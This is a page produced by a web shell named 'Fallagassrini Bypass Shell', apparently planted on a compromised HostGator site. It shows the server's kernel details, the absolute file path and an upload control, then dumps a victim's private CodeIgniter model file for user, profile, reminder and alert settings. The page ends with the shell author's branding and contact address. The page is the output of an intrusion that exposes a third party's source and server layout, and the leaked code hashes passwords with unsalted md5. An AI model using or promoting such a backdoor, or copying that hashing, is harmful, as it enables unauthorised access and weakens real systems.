? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/models/settingsmodel.php

<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Settingsmodel extends CI_Model
{

    function __construct()
    {
        // Call the Model constructor
        parent::__construct();
    }

    /* functions for profile  */

    function checkprofileset($employee_id)
    {
        $this->db->from('user_profile');
        $this->db->join('employee', 'employee.employee_designation_id=user_profile.designation_id');
        $this->db->where('employee_id', $employee_id);
        return $this->db->count_all_results();
    }

    function get_profile_permission_by_empid($employee_id)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('user_profile');
        $this->db->join('employee', 'user_profile.designation_id=employee.employee_designation_id');
        $this->db->where('employee_id', $employee_id);
        $this->db->order_by('profile_id', 'asc');
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function get_user_permission_by_user_id($user_id)
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('user');
        $this->db->where('user_id', $user_id);
        $Q = $this->db->get();
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function getmoduledatamaster()
    {
        $data = array();
        $res = $this->db->query("select module.module_name,module.module_title,menu.caption,menu.target,menu.menu_id,menu.module_id,menu.sort from module join menu on module.module_id=menu.module_id
             where module.active = '1' and menu.active='1'
            order by module.sort, menu.sort");
        foreach ($res->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }

    /* functions for profile  */

    function search_profile()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('user_profile');
        $this->db->join('master', 'master_id=profile_id');
        $this->db->order_by('profile_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function search_prefix_code()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('prefix');
//        $this->db->join('master','master_id=profile_id');
        $this->db->order_by('id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_profile($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $tblValues = array(
            'profile_id' => $masterid,
            'designation_id' => $postdata['designation_id'],
            'profile_modules' => $postdata['role_permission'],
            'profile_modules_home_page' => $postdata['role_home_page'],
            'profile_modules_permission' => $postdata['role_edit_del_permission']
        );
        $this->db->insert('user_profile', $tblValues);
        $data['resfunction'] = 'search_profile';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_profile($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $this->mastermodel->updatemasterdata($postdata['profile_id']);
        $tblValues = array(
            'profile_modules' => $postdata['role_permission'],
            'profile_modules_home_page' => $postdata['role_home_page'],
            'profile_modules_permission' => $postdata['role_edit_del_permission']
        );
        $this->db->where('profile_id', $postdata['profile_id']);
        $this->db->update('user_profile', $tblValues);
        $data['resfunction'] = 'search_profile';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for reminder */

    function update_prefix_code($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'prefix_code' => $postdata['prefix_code'],
            'starting_no' => $postdata['starting_no'],
        );
        $this->db->where('id', $postdata['id']);
        $this->db->update('prefix', $tblValues);
        $data['resfunction'] = 'search_prefix_code';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for reminder */

    function search_reminder()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('reminder');
        $this->db->join('master', 'master_id=reminder_id');
        $this->db->order_by('reminder_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function insert_reminder($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $masterid = $this->mastermodel->insertmasterdata();
        $tblValues = array(
            'reminder_id' => $masterid,
            'reminder_subject' => $postdata['reminder_subject'],
            'remind_before' => $postdata['remind_before'],
            'reminder_date' => $this->mastermodel->convertdateformat($postdata['reminder_date']),
            'reminder_description' => $postdata['reminder_description']
        );
        $this->db->insert('reminder', $tblValues);
        $data['resfunction'] = 'search_reminder';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_reminder($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $this->mastermodel->updatemasterdata($postdata['reminder_id']);
        $tblValues = array(
            'reminder_subject' => $postdata['reminder_subject'],
            'remind_before' => $postdata['remind_before'],
            'reminder_date' => $this->mastermodel->convertdateformat($postdata['reminder_date']),
            'reminder_description' => $postdata['reminder_description']
        );
        $this->db->where('reminder_id', $postdata['reminder_id']);
        $this->db->update('reminder', $tblValues);
        $data['resfunction'] = 'search_reminder';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for user */

    function search_user()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('user');
        //$this->db->join('master','master_id=user_id');
        $this->db->order_by('user_id', 'desc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function update_password($postdata)
    {

        $data = array();
        $data['resfunction'] = 'search_user';
        if ($postdata['newpassword'] == $postdata['retypepassword'])
        {
            $tblValues = array('password' => md5($postdata['newpassword']));
            $this->db->where('user_id', $postdata['user_id']);
            $this->db->update('user', $tblValues);
            $data['res'] = '1';
            $data['msg'] = 'Password Changed Sucessfully';
            return $data;
        }
        else
        {
            $data['res'] = '0';
            $data['msg'] = 'Passwords do not match';
            return $data;
        }
    }

    function update_paswrd($postdata)
    {
        $data = array();
        $data['resfunction'] = 'password';
        if ($postdata['newpassword'] == $postdata['retypepassword'])
        {
            $tblValues = array('password' => md5($postdata['newpassword']));
            $this->db->where('user_id', $postdata['user_id']);
            $this->db->update('user', $tblValues);
            $data['res'] = 'password';
            $data['msg'] = 'Password Changed Sucessfully';
            return $data;
        }
        else
        {
            $data['res'] = 'password';
            $data['msg'] = 'Passwords do not match';
            return $data;
        }
    }

    function insert_user($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $employee = explode('-', $postdata['employee_id']);
        $masterid = $this->mastermodel->insertmasterdata();
        $tblValues = array(
            'user_id' => $masterid,
            'user_name' => $postdata['user_name'],
            'password' => md5($postdata['password']),
            'employee_id' => $employee[0],
            'user_modules' => $postdata['user_modules'],
            'modules_permission' => $postdata['modules_permission'],
            'home_page' => $postdata['user_home_page'],
        );
        $this->db->insert('user', $tblValues);
        foreach ($postdata['report_select'] as $report)
        {
            $tblValues = array(
                'user_id' => $masterid,
                'report_id' => $report,
            );
            $this->db->insert('user_report', $tblValues);
        }
        $data['resfunction'] = 'search_user';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
            return $data;
        }
    }

    function update_user($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $tblValues = array(
            'user_modules' => $postdata['user_modules'],
            'modules_permission' => $postdata['modules_permission'],
            'home_page' => $postdata['user_home_page'],
        );
        $this->db->where('user_id', $postdata['user_id']);
        $this->db->update('user', $tblValues);

        $this->db->where('user_id', $postdata['user_id']);
        $this->db->delete('user_report');
        if (isset($postdata['report_select']))
        {
            foreach ($postdata['report_select'] as $report)
            {
                $tblValues = array(
                    'user_id' => $postdata['user_id'],
                    'report_id' => $report,
                );
                $this->db->insert('user_report', $tblValues);
            }
        }
        $data['resfunction'] = 'search_user';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for alert master */

    function search_alert_master()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('alert_master');
        $this->db->order_by('alert_master_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function update_alert_master($postdata)
    {
        $data = array();
        $this->db->trans_begin();
        $limit = $postdata['limit'];
        $tblValues = array(
            'alert_master_days' => $postdata['alert_master_days'],
        );
        $this->db->where('alert_master_id', $postdata['alert_master_id']);
        $this->db->update('alert_master', $tblValues);
        $this->db->where('alert_master_id', $postdata['alert_master_id']);
        $this->db->delete('alert_master_employee');
        for ($i = 1; $i < $limit; $i++)
        {
            if (isset($postdata['select_employee_' . $i]))
            {
                $tblValues = array(
                    'alert_master_id' => $postdata['alert_master_id'],
                    'alert_master_employee_id' => $postdata['employee_id_' . $i]
                );
                $this->db->insert('alert_master_employee', $tblValues);
            }
        }
        $data['resfunction'] = 'search_alert_master';
        if ($this->db->trans_status() === FALSE)
        {
            $this->db->trans_rollback();
            $data['res'] = 0;
            $data['msg'] = 'Error On Updating Record';
            return $data;
        }
        else
        {
            $this->db->trans_commit();
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
            return $data;
        }
    }

    /* functions for alert */

    function search_alert()
    {
        $data = array();
        $this->db->select('*');
        $this->db->from('alert_master');
        $this->db->order_by('alert_master_id', 'asc');
        $data['results'] = $this->db->get();
        return $data;
    }

    function get_num_alert($id)
    {
        $employee_id = $this->mastermodel->get_single_field_value('user', 'employee_id', 'user_id', $_SESSION['user_id']);
        $this->db->join('alert_employee', 'alert_employee.alert_id=alert.alert_id');
        $this->db->where('alert_employee.employee_id', $employee_id);
        $this->db->where('alert_status', '1');
        $this->db->where('alert_master_id', $id);
        $Q = $this->db->get('alert');
        return $Q->num_rows();
    }

    function get_fee_alerts_to_employee($alert_master_id, $count = '', $info = '')
    {
        $data = array();
        $data['count'] = 0;
        $data['details'] = array();
        if (date('d') >= 5)
        {
            $this->db->select('*');
            $this->db->from('fee_alert_employee');
            $this->db->join('user', 'user.employee_id=fee_alert_employee.employee_id', 'left');
            $this->db->join('employee', 'employee.employee_id=user.employee_id', 'left');
            $this->db->where('user_id', $_SESSION['user_id']);
            $this->db->where('alert_master_id', $alert_master_id);
            $Q = $this->db->get();
            if ($Q->num_rows() > 0)
            {

                $output = $data['details'] = $this->get_student_fee_payment_alert();
                $data['count'] = $output['count'];
                $data['details'] = $output['data'];
//                if($count==1)
//                    $data['count'] = $this->get_student_fee_payment_alert_count();
//                if($info==1)
//                    $data['details']=$this->get_student_fee_payment_alert();
            }
            $Q->free_result();
        }
        return $data;
    }

    function alert_close($master_id, $alert_type, $alert_date)
    {
        if ($alert_date == "")
            $alert_date = date('Y-m-d');

        $tblValues = array(
            'master_id' => $master_id,
            'alert_type' => $alert_type,
            'alert_date' => $alert_date
        );
        $this->db->insert('alert_close', $tblValues);
    }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net